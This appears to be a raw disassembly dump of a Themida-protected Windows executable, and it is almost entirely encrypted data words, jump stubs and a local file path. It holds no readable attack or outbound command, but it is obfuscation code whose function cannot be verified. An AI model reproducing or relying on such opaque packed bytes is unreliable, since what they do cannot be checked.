0E8E5DD1Bh, 7AF1D6Ch, 88241206h dd 152083BEh, 0D9A87487h, 1240628h, 55E39560h, 5E98393h dd 0C08BA4F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 29C35747h, 57006A21h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BA66EAD1h, 958B981Eh dd 6140AADh, 8D8DC38Bh, 6194B24h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0E4C35343h, 820F3220h, 0Ch dd 6860Fh, 95090000h, 6141B29h, 0B5D78166h, 698D89C4h dd 8B06142Bh, 1424BDBDh, 5585C706h, 54061410h, 8B00006Dh dd 141DB5BDh, 3D85C706h, 61401h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 8537C356h dd 0E8C1652h, 0FEB70F31h, 0B5FFFB8Bh, 61411C9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A2C35646h, 0B70F2F22h dd 7DB531D6h, 0FF061408h, 140BD995h, 4BE6606h, 0FF006A97h dd 14297195h, 0EBC08B06h, 9376E61Fh, 0C20CFC19h, 759392ABh dd 81C1AFA0h, 0CED18DBBh, 0E0E78FAAh, 1F342789h, 8390887Ah dd 67BAE74h, 0B8FEA10Ah, 4D2187Ah, 3946109h, 3FD4916h dd 5CDEA1A0h, 7F77FE93h, 477FA50Ch, 3E9A530h, 54B9A10Ah dd 0D31F20C6h, 0E7B900Fh, 80F8B541h, 17EE501Dh, 0A8BA156h dd 0DDB1CABh, 77FEA700h, 88ADF113h, 7FD19C5h, 8677A182h dd 5EAB958h, 0A4AC3C2Dh, 0D001A746h, 0BE7DF973h, 5EAAF31h dd 53E9D50Ah, 7FD1956h, 8677A182h, 5EAB958h, 0A7BF3C2Dh dd 0D001A746h, 0DB75F973h, 3FC231Bh, 0F074A10Ah, 78AC7ABCh dd 966B2886h, 88F8B547h, 53FECB60h, 3FEA2B8h, 0C0A68128h dd 27BA284Ch, 27BA200Eh, 3FEBD01h, 0C0AEE182h, 2528B74Dh dd 1DA67B02h, 467B889Fh, 65F8B53Dh, 9ECD7998h, 5EABA17h dd 87F1A5ADh, 3FEA597h, 3FB2F4Eh, 8298A1A0h, 8069FC9Bh dd 17FE8895h, 87F1A112h, 3FEA125h, 0EBA9A16Fh, 3FEA181h dd 5C3DFE61h, 7DADD29h, 7DAE5D1h, 3FEA13Eh, 9F3DF653h dd 0BEF72F0Ah, 5EA8B38h, 3FD756Bh, 0EA732A41h, 0BDF8B582h dd 1FE8650h, 8E8F6EA8h, 14950791h, 54FECB0Ch, 3FEA2EDh dd 0C0A18182h, 2782281Eh, 27BA20A4h, 3FEB554h, 0C0A9E628h dd 0C941AE8Eh, 76F2C81h, 0D301A711h, 0EBADA1E8h, 3FEA142h dd 583DFA80h, 7DAFDD9h, 7DAE5A9h, 3FEA10Eh, 5C3DF249h dd 0F08557F5h, 0F47F7213h, 8FBA477h, 0D3F3C2Bh, 8898A744h dd 0C3E24F7h, 3FE3490h, 7A73880Ah, 82F8B502h, 8298F6BAh dd 297BAEBAh, 0EBFEA1A0h, 3FEA159h, 46D603B4h, 2571A250h dd 0DA75C753h, 7B7FC75Ah, 0CFCA386h, 3FDC4C5h, 124328A0h dd 20F8B57Bh, 17D4B0BDh, 3B7FC712h, 86F1C196h, 3FEA14Bh dd 0EBABA1E8h, 3FEA142h, 5E3DFC80h, 7DACDD9h, 7DAE5A9h dd 3FEA103h, 593DF44Fh, 88566457h, 17E52C17h, 1862147h dd 1C7BAE48h, 65FEA150h, 65E73092h, 3F8D995h, 0C7BAEA1h dd 88FEA105h, 0F6484Ch, 8EFDA141h, 5EAB661h, 34076DBh dd 69B8A029h, 16F614h, 23FEA10Ah, 8AA1625Ah, 82FA85FEh dd 14FA8505h, 44FEA1A0h, 7DF06207h, 0B6770EE0h, 5EAA2E5h dd 0E9454AB1h, 0A57B2C68h, 8AF8B6E9h, 17E414C4h, 0EB2E5EA6h dd 3FEA156h, 5EC4A2E9h, 0B677C07Ch, 5EAAAEFh, 0C3E245Ah dd 3FCD506h, 0D475C741h, 3E989921h, 86F1A352h, 3FEA115h dd 56A710AFh, 586200Bh, 79A19C63h, 176258Dh, 394A141h dd 3FD49F1h, 5ADEA150h, 4F77F8EBh, 477FA530h, 3EBA52Eh dd 52BFA105h, 8811DF41h, 0BA6B2A8Eh, 8AF8B5A7h, 17E180C5h dd 3B7FC72Eh, 86F1C188h, 3FEA1C7h, 0EBACA16Fh, 3FEA181h dd 593DFB61h, 7DAF529h, 7DAE5D1h, 3FEA13Ch, 0E73DF356h dd 3FEB2E3h, 6DC8E205h, 3D2AD35Ch, 0BEA82D1Fh, 1854F351h dd 0CDFC5542h, 0EBFCD9A8h, 371241Bh, 394A10Ah, 3FD4950h dd 5EDEA182h, 6F77FC82h, 477FA584h, 3E6A574h, 56BBA128h dd 927BB5D7h, 0F07E45E7h, 7B7FC7E1h, 0C3EA184h, 3FEC1C4h dd 52FECBA0h, 3FEA2B8h, 0C0A78128h, 27B2284Dh, 27BA200Eh dd 3FEB801h, 0C0AFE082h, 0D16ED00Ch, 10172981h, 39FEA150h dd 81C09122h, 79852E1Ah, 0A2F946F6h, 5EB5A770h, 0D4491ACDh dd 3FF04A8h, 55FECBA0h, 3FEA2B8h, 0C0A08128h, 278A284Ah dd 27BA200Eh, 3FEB901h, 0C0A8E782h, 309A404Ch, 2FE1FDDh dd 394DF51h, 3FD497Bh, 58DEA114h, 5F77FAC9h, 477FA521h dd 3EAA5A6h, 50BDA141h, 0D7743A63h, 3FD2C5Fh, 0D67EA128h dd 0A57B2C6Dh, 0EAF8B661h, 3FEA10Dh, 0D47B8BE7h, 9FD6C23Dh dd 394715Fh, 3FD4906h, 5DDEA128h, 7777FFD7h, 477FA52Eh dd 3E2A521h, 55B8A182h, 0F595F482h, 0C75494BCh, 0C37BB0B8h dd 31D2527h, 8898A114h, 0BE6B8AF3h, 83F8B520h, 86F149BAh dd 3FEA119h, 6862159h, 4E7BAE23h, 69FEA128h, 16F014h, 23FEA10Ah dd 8AA7625Ch, 82FA85CEh, 1EFA8505h, 42FEA1A0h, 0D3366201h dd 9CBA3082h, 612B7F4Fh, 50F9D98Ah, 332250Ah, 394A182h dd 3FD4910h, 5ADEA1A0h, 4F77F893h, 477FA50Ch, 3EAA530h dd 52BFA10Ah, 5C4C43C6h, 8CC620E4h, 6D7BAE44h, 88FEA1A0h dd 17F330EDh, 586212Eh, 5D7BAE7Ch, 69FEA10Ah, 16F405h dd 23FEA182h, 8AA3621Ch, 82FA85CCh, 1FFA8514h, 46FEA128h dd 73B46241h, 437BFC93h, 82D6187Ch, 21095E73h, 7B7FC777h dd 0CDB5EABh, 3FE89D5h, 50FECB28h, 3FEA2FCh, 0C0A5810Ah dd 27A2285Eh, 27BA2086h, 3FEB445h, 0C0ADE2A0h, 3817A295h dd 82FEA128h, 5C73A6E5h, 2A3E8A15h, 17FEB488h, 3CD4884h dd 394A141h, 3FD49F3h, 58DEA150h, 5F77FAEBh, 477FA530h dd 3E4A52Eh, 50BDA105h, 285DBF41h, 0E3C5946Eh, 0E744C7F7h dd 246FB12h, 88FEA128h, 17EEF899h, 93AE310Ch, 0DE739265h dd 8AF8B59Ch, 17E024F4h, 0BE73C0A6h, 5E7EA18h, 53642CA5h dd 2046A70Dh, 89C75Fh, 17E96880h, 0C2318A84h, 5102FE1Fh dd 7B0394DFh, 1403FD49h, 0C958DEA1h, 215F77FAh dd 0A6477FA5h, 0E983EAA5h, 58A4F305h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 6AC35343h, 0F1C6E5A4h, 0A9BD8B05h dd 8B061404h, 1407119Dh, 0BE906h, 0EA300000h, 5C9807E8h dd 5144239Fh, 0FC00B75h, 2884h, 8D9D8900h, 8D06141Bh, 144DFFB5h dd 0DDBD8906h, 8B06141Bh, 14024D95h, 3B806h, 8B660000h dd 81E6FFFEh, 0F8B0B5D3h, 0DEB5405Ch, 6AC08Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6A2CFFC3h, 7712847Dh, 850F2D96h, 2, 0EDBFDA8Ah, 8340A679h dd 1410F1BDh, 9750006h, 0E25BD83h, 74000614h, 8B535019h dd 403B8C0h, 85890000h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h dd 0BD83585Bh, 6140E25h, 50177400h, 403B853h, 85890000h dd 61424F1h, 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FBD90FC3h dd 0B1135B02h, 50006AF5h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0F68CFE8Ch, 8BD066FFh dd 61C08BFAh, 0FE9h, 12186B00h, 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D3350 ; --------------------------------------------------------------------------- db 6Eh, 5Eh, 23h ; --------------------------------------------------------------------------- fild word ptr [eax+3Fh] dec esi retf 325Dh ; --------------------------------------------------------------------------- db 77h dd 9F1634B3h, 80FD0C9Bh, 6DD5FF7Ch, 40DF235Eh, 59C64A43h dd 31AE722Dh, 0FD989C0Fh, 0C012218Eh, 629155E9h, 0D2F48BBEh dd 0AEDCA3DBh, 5F43C7F7h, 720406D5h, 0A92D5D50h, 0DBF77685h dd 0E62CA8A0h, 0ED1F55C6h, 19FFC68Eh, 0EFA44456h, 0EC1097C1h dd 275A6926h, 0B94244E3h, 10981A3Bh, 413C4A8Ah, 85A9CD49h dd 48470675h, 0C3E7A2AEh, 22689A31h, 0F031B685h, 0D15ECD53h dd 53F03662h, 55799DE1h, 74295A25h, 40570044h, 888CFF01h dd 0EAFF31Fh, 53F03633h, 7EBFCCB0h, 53F036C3h, 54D8FC40h dd 0E1A45127h, 60B1398Dh, 2DD1FD92h, 4D7D611Ch, 9848FDEh dd 26636EF1h, 918EB216h, 880C3C6Fh, 0FDB8D58Ah, 1A97B2CDh dd 346F9DE2h, 69678004h, 5EBD1A32h, 6DCCF337h, 0D0CBC706h dd 0FAB1D34Ch, 0FE0351C2h, 18AEFB5h, 0DAFEB3D2h, 0B3413C4Dh dd 0F07A78C2h, 702D5A53h, 0FF4AEB58h, 7453F07Ah, 82F91710h dd 5AB1DE8Ah, 50A748D0h, 9574DC02h, 7CFA85h, 1C8F0000h dd 0F04EA093h, 0C05F2353h, 55B1C9C4h, 656755DFh, 9AA70636h dd 9953F092h, 0C37EBF2Ah, 4053F092h, 0D36ECFFCh, 5053F092h dd 325926ECh, 948CFA20h, 18485h, 67100000h, 94073766h dd 0A06B8D5h, 0F2A96B8Fh, 0DF6ACBD1h, 5453F092h, 0A3BCCCF0h dd 0BADEEEA5h, 87BB6DDh, 0F0929CAFh, 0FB241753h, 53F09248h dd 0D12347CBh, 9094093Ah, 8286F517h, 0CA797B09h, 6649B1D2h dd 6867AAACh, 497A0535h, 45F22454h, 5A6CF32Eh, 0D491CD23h dd 83C75ABAh, 4ABDA71h, 3E886A21h, 0BF43677Ch, 5F6F1E20h dd 70880500h, 92AAE1EFh, 81B58421h, 4ACE53F0h, 0D8F0ABDDh dd 89B8DF80h, 8C08007Bh, 7B927D68h, 949EC17Fh, 5B3D85h dd 67FB0000h, 7A053568h, 1E3A524Fh, 1C2B5AB1h, 3029D61h dd 0D63CB99h, 0DA0F09C8h, 0F0B2A093h, 0C05F2353h, 56B2CAC3h dd 47451A32h, 26233C4Ch, 0C3C7994h, 0B546488h, 0E8981FCh dd 6742C82Fh, 0AB4191F8h, 2B8594AAh, 28h, 35686781h, 534E7A05h dd 0A9C00F3Bh, 0F2366B9Ah, 37666720h, 92A4A607h, 0F69953F0h dd 8C8D539Fh, 1298594h, 87000000h, 42C36C67h, 6C42EBFEh dd 2E9B8799h, 0DC678B38h, 0CDFF80B8h, 0F532ADDEh, 53F0CC46h dd 0BBB79DDh, 746AD8Ch, 0F58D910Ch, 0C58D9214h, 24FAB5D1h dd 4A79C059h, 0BFA32757h, 87C7609Bh, 7849DC8Dh, 3355DDEFh dd 0A0C44078h, 0F0082CA8h, 1D2E5D6Fh, 8BBC424Eh, 6C24EE12h dd 1BF1491Fh, 0E0D23B42h, 504B7D12h, 0B944F938h, 4F55E4h dd 1B3736E9h, 26EC6860h, 0E0245769h, 4CAADDABh, 45971E8Fh dd 0BFEE10CFh, 79A6118Ch, 55E4DECAh, 0B584C549h, 0CE55E4DEh dd 45F4314Ah, 0DE55E4DFh, 9F0CB87Ah, 44CEBFC0h, 0F6067597h dd 2D5CB3C0h, 0EF9C601Bh, 33B7290h, 3FED8D87h, 9F8BA8D9h dd 1F6E3AC9h, 45CFD088h, 149BAh, 61807600h, 2514910Ch dd 0BE53F092h, 92A093DAh, 7A8853F0h, 0A7CB4F03h, 26223994h dd 2C61B56Bh, 186A434Ah, 0D39B9B1Ah, 70D449DCh, 64050758h dd 0F33C3072h, 55E49940h, 3AA97FC3h, 45C9EDB4h, 0C6F5A8DAh dd 1F158887h, 0FFAED0AFh, 272619CFh, 0C3477726h, 443AA31h dd 5F4E7002h, 0A4C8C5C0h, 2A26F460h, 0E0708BA9h, 555761FCh dd 65060C0Fh, 3Fh, 5F56730Ah, 658053D5h, 0EA71EC1Fh, 6E6FA5D8h dd 0D3F092B3h, 4FBCCCB0h, 629A1330h, 9DFD30E6h, 7750A6D4h dd 1D0130BDh, 0A12ED3F0h, 4309DC4Ah, 1D3CEF48h, 533753F0h dd 981DCFh, 809B0000h, 47E01B61h, 49DC6A83h, 57E0EB74h dd 85E33572h, 0C30544Dh, 2F5E60FFh, 0A3DBD2F0h, 8ED1ED27h dd 91F6F37Ch, 0E94B3A57h, 0A4A641C5h, 0EC50D1E9h, 0CE55E401h dd 0B5CAC2BFh, 0B9ED1D98h, 0DF33F71Eh, 182A59B0h, 0E326F9Eh dd 1D6B7A0Ah, 0C6E573EEh, 0B0AA6354h, 0F404798Ah, 37A66C90h dd 4FCDB977h, 60D35CCFh, 0E35FDD79h, 70C36C9Fh, 0F35FDD79h dd 197D858Fh, 316C9EE1h, 1083BE19h, 0DD79A497h, 0CC5B3F5Fh dd 0AB30C2BBh, 7503E244h, 0CB19D946h, 76DA45F4h, 618060B2h dd 9290A30Ch, 2F1353F0h, 0CF85F00Bh, 14C04E7h, 5D58DA26h dd 49D92F9Dh, 0CA79A611h, 4955E9F3h, 573B4FC5h, 6E292524h dd 8C38FA5Eh, 56DAD1F3h, 0B4C4B7C9h, 0F2436475h, 0D5C6FAAh dd 0F8B83FEh, 0F00F6605h, 6B2224CEh, 2224C347h, 0C200506Bh dd 3432E123h, 2C9F2FE5h, 0A1732E5Dh, 0AAA1DCEAh, 0C1F9B4D3h dd 0ED118CBEh, 0D008727h, 38504D7Eh, 628956DCh, 0A66A2123h dd 64940739h, 856h, 1F8CDC00h, 0CA484540h, 34676740h, 52497B04h dd 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h dd 306D98E7h, 57464718h, 89501F27h, 405E0h, 0E8830000h dd 24048704h, 2414895Ch, 141D68h, 24148900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 50241C89h, 0AF7D07B8h, 0C1D8F77Eh dd 0C13503E0h, 510C9D45h, 0CA89C189h, 8B545859h, 0C483241Ch dd 23BF6804h, 14890000h, 8438F24h, 52241C8Bh, 0C281E289h dd 4, 8704C283h, 8B5C2414h, 89562414h, 4C681E6h, 83000000h dd 348704C6h, 35E95C24h, 3AFFFB29h, 0FC5D66A2h, 549F3790h ; --------------------------------------------------------------------------- loc_5D3350: ; CODE XREF: Themida_:005D2DA0j mov eax, 619572Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 28h, 92h, 0E9h dd 0CBE5546Ah, 0B177C235h, 2A9CA320h, 12E819h, 115E0000h dd 84A68266h, 0CBECDC4Dh, 7DF52700h, 25FBEA75h, 8AFEE381h dd 805F579Dh, 0C781EBD7h, 7156h, 800FC033h, 2, 148BCA8Bh dd 0DF8B6607h, 194AC281h, 0BE6620EBh, 0EA81BF98h, 35DB8354h dd 24F281F9h, 601CDF91h, 4870Fh, 0BA660000h, 0CE85C54h dd 4C000000h, 0D267C826h, 89617AFEh, 5FC6FF96h, 7148961h dd 38B0Fh, 0B70F0000h, 11E9F6h, 5FBD0000h, 63E46FE5h, 0E62BCC50h dd 302468FAh, 81DB41C8h, 1C5317E8h, 0D6816614h, 0C081D2F6h dd 141C5313h, 8F78F881h, 850FFFFFh, 11h, 27E9h, 246FA500h dd 2D8E32D9h, 0A1A217C1h, 6820F4Ah, 81000000h, 5BEA23D6h dd 0FF64E949h, 0F94AFFFFh, 0D28985BCh, 72482400h, 59AD8D8Dh dd 6A0619h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0BBDD5CC3h, 0E5E49939h, 0E8533B06h, 10h dd 3B01E315h, 4A602DCh, 0A2F76793h, 59E36D41h, 8D89585Fh dd 6142B69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 88C35040h, 105585C7h, 640C0614h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0D62EC6C3h, 0C28B6CEEh, 13D85C7h, 614h, 0E8600000h dd 0Bh, 0E92DE624h, 7FBC4B97h, 0B91905DFh, 4CFDACD7h, 95BD8B58h dd 6106141Bh, 0D09B5FFh, 81660614h, 0FFE913E6h, 140BD995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 1EBDE525h, 20ADBD5Ah, 6057D965h, 71E28166h dd 8D0FFCh, 61000000h, 0E881665Fh, 6AA574h, 297195FFh dd 0C08B0614h, 0C5AF4CEBh, 0D0754363h, 0EA32BD71h, 61003552h dd 0AF766A57h, 94729E47h, 414AED47h, 0EE801345h, 42CCD9F6h dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh, 34E42269h dd 858A783Ah, 0EF2BE377h, 6F809A7Bh, 3A48DCC9h, 18F4A034h dd 2ADE8A91h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h dd 33A9A90Bh, 5AF19826h, 7AEF5E26h, 60338C2Eh, 0E4FFB44Eh dd 56F867A5h, 0BEA08C0Ah, 242B66A3h, 0BA796720h, 27CD25A3h dd 0FAD71B20h, 33338C2Ah, 33831D29h, 0B6C09826h, 35BFC228h dd 33D61576h, 63AF817Ch, 2A690DD9h, 64839E32h, 59359826h dd 231F1523h, 634B817Ch, 69A61DABh, 0CC039E3Fh, 27BFDDB3h dd 3C149320h, 336AA1A2h, 23B01526h, 639C817Ch, 334DAACEh dd 0BEF6D826h, 2A098EA3h, 0B624C820h, 35CDC236h, 0AFF6776h dd 0B0338C34h, 0B61794E2h, 3554C236h, 33231576h, 6355817Ch dd 2A140DD9h, 513D9E32h, 666A9826h, 646474ADh, 4E11CE74h dd 0DA8DAB2Eh, 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h dd 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh dd 88005AADh, 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h dd 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h dd 6C8EC6E7h, 37A8517Fh, 0CD881526h, 0BE9C817Fh, 2A16ABABh dd 932020h, 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 33B58DFFh, 8D06195Bh, 195B528Dh, 83CF2B06h dd 0C88B05E9h, 8E8h, 58401E00h, 2D1D6024h, 0D9B58B4Eh dd 58061416h, 9D8D8B52h, 5B061415h, 5FD7C081h, 0A4B90000h dd 0BA6FCEBBh, 17C2h, 0EAB3B966h, 11E930FFh, 0D2000000h dd 0A6FE6645h, 5603BD08h, 0CFD3B4DAh, 8794328Fh, 20E1815Fh dd 817BC41Fh, 3160F6F7h, 118D8B72h, 81061408h, 0E7A3F8C7h dd 0E1DB8128h, 81248334h, 5A2908EFh, 89D1B32Fh, 68D0F38h dd 89000000h, 1416C5BDh, 0F0E88106h, 312B5C14h, 1413719Dh dd 0ECC08106h, 0E92B5C14h, 8, 0EF6CCAC8h, 7A780AF2h, 0F01EA83h dd 2185h, 0CE900h, 0B9620000h, 6A0238C3h, 5A3F0073h, 1DE9D5A4h dd 0F1000000h, 5ADBAC85h, 0D749EBC8h, 8D093050h, 61418B1h dd 0FFFF5FE9h, 9C59D8FFh, 75C87411h, 0EE8h, 0E6A9E500h dd 0C968F598h, 0F2F51A17h, 0E9C0BFE8h, 0Bh, 38B9486h, 0B7C31E04h dd 5A5500A9h, 1E459D03h, 0C2810614h, 712Eh, 8650BF66h dd 1C1068h, 0FBCB8100h, 591BD0C5h, 3039858Bh, 32FF0614h dd 9FD9D2Bh, 0E95E0614h, 13h, 58F38A6h, 0ED407949h, 255699Dh dd 0C7F25A25h, 81D5F819h, 74C69DEEh, 2D95894Dh, 8106141Bh dd 1AD424EEh, 259D8B03h, 8106142Ch, 0DB3217F6h, 0BD235017h dd 614254Dh, 8932895Fh, 1411659Dh, 3EA8306h, 2B898589h dd 814A0614h, 1E9h, 1C850F00h, 0E9000000h, 7, 188DE00Bh dd 0E9E93390h, 3Bh, 15769015h, 0D5FE8710h, 0E88CA502h dd 12h, 0E6A1F64h, 3A656327h, 0D6B23BAFh, 4456055Ah, 80572ADAh dd 5F5806C8h, 0FFFF5DE9h, 0AE8A93FFh, 29AF5801h, 0DCC28FDFh dd 0E8281C1Bh, 13h, 24CBB0BBh, 32428B75h, 950A4189h, 0C24894CDh dd 66935E0Fh, 586328BEh, 2D859589h, 0C0810614h, 5CAAh dd 3810Fh, 0B70F0000h, 8E85BAF6h, 0C28179B1h, 864E887Fh dd 10318589h, 188B0614h, 81B96660h, 840F44h, 61000000h dd 0ED8F381h, 8C0F27F7h, 0 dd 0BD7CC381h, 0E1810E20h, 475DD4FEh, 3F12EB81h, 5ABE7A4Dh dd 537E19F5h, 71F18166h, 89008FE3h, 14049D85h, 1E88306h dd 8E0Fh, 48480000h, 81858948h, 8306140Bh, 850F01EAh, 0FFFFFFA6h dd 23818589h, 9D8D0614h, 61415D1h, 0CEB8h, 3D858900h, 0E806140Ch dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5D3A53 ; --------------------------------------------------------------------------- db 2 dup(0), 0F2h dd 32h dup(0F2000076h) db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5D3A53: ; CODE XREF: Themida_:005D3980j jmp loc_5D3AE5 ; --------------------------------------------------------------------------- db 0F7h ; ÷ a60jcDocumentsA db '60JC:\Documents and Settings\Martim Carbone\Desktop\Dialog.exe',0 dd 13h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5D3AE5: ; CODE XREF: Themida_:loc_5D3A53j jmp loc_5D4A17 ; --------------------------------------------------------------------------- push 61960EDh jmp loc_591F29 ; --------------------------------------------------------------------------- push 61961E6h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61963C7h jmp loc_591F29 ; --------------------------------------------------------------------------- push 6196406h jmp loc_591F29 ; --------------------------------------------------------------------------- push 61964AFh jmp loc_591F29 ; --------------------------------------------------------------------------- push 6196567h jmp loc_591F29 ; --------------------------------------------------------------------------- push 6196927h jmp loc_591F29 ; --------------------------------------------------------------------------- push 6196C17h jmp loc_591F29 ; --------------------------------------------------------------------------- push 6196CDCh jmp loc_591F29 ; --------------------------------------------------------------------------- dd 0E0178CCEh, 45F22B60h, 285FD207h, 8F2479D8h, 578C1F71h dd 4494CB14h, 0E82CBCEBh, 8FC000B7h, 3B9BE91Eh, 0BE9F4FE4h dd 80E0A288h, 2776FE39h, 241992F9h, 5708C096h, 0AF2A2E58h dd 0DE518799h, 77A72567h, 90CE5838h, 256BDA3Fh, 0A7D1938Ah dd 1D7C82BEh, 91EF5680h, 0DBB5E241h, 5CAAABA8h, 85A07E4Ah dd 123B1F88h, 742FDBECh, 88FD6F35h, 7C0E3012h, 0C49A3E39h dd 54BBF2BFh, 27AA8Dh, 8ACF0000h, 437BDAD9h, 35738F7Eh dd 62F36A04h, 61C455BAh, 3D1F2723h, 3397B8Fh, 0FFACB78Fh dd 0B98D5420h, 0E0h, 0D738663Ch, 86FF2980h, 875A6F6h, 0F66FC014h dd 48E5344Ah, 92B397D5h, 0A34C3505h, 0A0E090F0h, 0BEA7FC5Ah dd 3A988682h, 0BF10936h, 9733687Eh, 7D9B81E5h, 75E73368h dd 0CC0A62DBh, 0C15F2057h, 0B3B1F8Eh, 336881ECh, 90C75CBAh dd 51810250h, 8F396BD2h, 7A792A96h, 0A5DDFA1Bh, 336879BFh dd 113111C3h, 35749128h, 0D14BF86Ah, 0A2D8A5A6h, 3B8606EEh dd 0C05DBF61h, 0FD0DBCD5h, 0BAA3DD76h, 0E6908A8Eh, 0C457B967h dd 3B76A779h, 3898E85Fh, 0D690A0E7h, 37226ABh, 0CC7D3h dd 0E8478B00h, 0B7E62DBBh, 108DC000h, 0F93465E3h, 41DA3A4Ah dd 510ECF12h, 0E977ACFFh, 8DDB08A3h, 24A4D34Ah, 540AB9F6h dd 0E1E7CDF5h, 0B3BB3980h, 0E53666CEh, 9AA0C14Eh, 336781B4h dd 0E83612CCh, 0DDDE75AAh, 7BDAD98Ah, 738F7E43h, 0F36A0435h dd 7B8F997Bh, 4976A739h, 7B8F4B31h, 24BF7539h, 54DB768Dh dd 0D5ED681Ah, 397BB7EFh, 0DD41C1B3h, 492D4289h, 3D5A8D54h dd 7BBB1F05h, 91F16339h, 0B7DDh, 38665000h, 812C1228h dd 9A743367h, 0B864F568h, 2060C55Ah, 596C620h, 868BAA20h dd 0BB1B3367h, 61B1CF64h, 0C71AAEEh, 0C93B225Ch, 8AB09D9Eh dd 35739DA1h, 6CC077E1h, 2D553033h, 3B85418Ch, 3FE16C1Eh dd 0FD2E6EDDh, 0AFAED888h, 3992788Eh, 7CEE336Ah, 58330AC0h dd 0AD95B14Bh, 0EB2BF55Ah, 48E136B4h, 75B397D5h, 914B8823h dd 9526AB39h, 0BCEF220h, 4E800000h, 0ED22A2D1h, 94F907BCh dd 3B9AEA19h, 0E133B1E6h, 9D6194Eh, 7E950656h, 0C271AAEEh dd 0ABD85182h, 71A6FD5Dh, 0E0C6FC5Dh, 0A03980E2h, 3666C14Ch dd 71C14EE5h, 9A9ED9A6h, 34F2569Bh, 991A49E6h, 0DB568799h dd 0C4222662h, 48241996h, 117E950Ah, 0A863FC21h, 0C74788Ch dd 31624DFEh, 0F22C81D4h, 0AEAFD98Bh, 74717F98h, 0EC510335h dd 7C709476h, 60F65A39h, 5502561Bh, 7C68Dh, 0D86B0000h dd 82Dh, 0F6D98AD5h, 0BDF025A2h, 4E74D103h, 35738745h dd 5A322BC5h, 0F070A7FCh, 0A2180DA2h, 5A37A9E6h, 49719EFFh dd 94B7A563h, 0F32A613Fh, 0A4ACDE8Ah, 12E02E00h, 0F5E4C512h dd 0C52327D0h, 0CFB5CD95h, 0DF94B7DBh, 3AD42679h, 0D2BD8D88h dd 3F286A46h, 40A187BFh, 77E194B8h, 5C4278C5h, 2494B840h dd 1479CE4Ah, 89372526h, 71D1AAF1h, 55C867B7h, 0B787FCDDh dd 75FB394h, 7FB2E739h, 56CD0D1Bh, 3C73A321h, 0F234E151h dd 0CD9CD360h, 0B9C63C45h, 182DE93Ch, 3565A4BAh, 58C449FEh dd 0ADC3BAF3h, 10503568h, 568462E6h, 0C40EF40Ah, 5961D216h dd 0D216C373h, 51035D0Fh, 3A54CB0Bh, 0B4AD243h, 0EF98B296h dd 0B85961ECh, 0B9D422E1h, 6D6C0149h, 0DF8DF02Bh, 48DAD6AFh dd 73A052C8h, 0E6914352h, 437B98E5h, 0CC23625Dh, 7C629825h dd 4CC2362h, 3158386Ah, 2F6A7009h, 0FA5FC1CEh, 9F49A3A7h dd 4B3245B1h, 6278C27h, 268A1A00h, 876D9574h, 1B74268Ah dd 0E56D1F69h, 0A6A7A4D7h, 0FF3267B9h, 467EDA86h, 76328EA9h dd 1A86FF69h, 0CAEB6A69h, 0B8ADFE52h, 493C71A4h, 5969E91Bh dd 7C1C0749h, 0E23A1BF5h, 0E1E7FB4h, 1F652CFh, 0F71C93C3h dd 0E5F1B313h, 0ED10BE37h, 0A1000009h, 4381366Dh, 0E6669D0Ch dd 0BBC97EB3h, 5090C75Ah, 0F578AF00h, 8A257728h, 56C90F5Dh dd 3970A321h, 871C7A8Ah, 0A7DFBE50h, 3980E4C1h, 66E06DC1h dd 0AE5CFB38h, 9026AE27h, 9AEF525h, 2E600000h, 0CD0242F1h dd 74D9275Ch, 1B7A8A39h, 0C1135186h, 69B6396Eh, 1EB5E636h dd 0E2118ACEh, 4BF83162h, 1146DD3Dh, 0E61C7Dh, 803980E6h dd 386621ACh, 54A1FF9h, 3E684882h, 356D647h, 0B197AFAEh dd 0F13367C7h, 0B3E50307h, 0FB1ACB78h, 326FA27Ah, 339194Bh dd 0CCF25350h, 3573D033h, 0E43805F7h, 41037AB3h, 3A5FD7C1h dd 28F8EF27h, 0E9117C7Fh, 0FD1C9D4Ch, 0C34124D6h, 8CB29390h dd 0F72E0D7Ch, 0FD4503F3h, 9483E213h, 818C7EACh, 61E1389Fh dd 3976A478h, 0AB1C7A8Ah, 7C9B3564h, 5F03D5A4h, 58F4FC6h dd 0C9000009h, 6BF92E85h, 0E5EF524h, 0A32156CBh, 78883F72h dd 0D508718h, 0E23D9FC0h, 4EE137B5h, 1188CB19h, 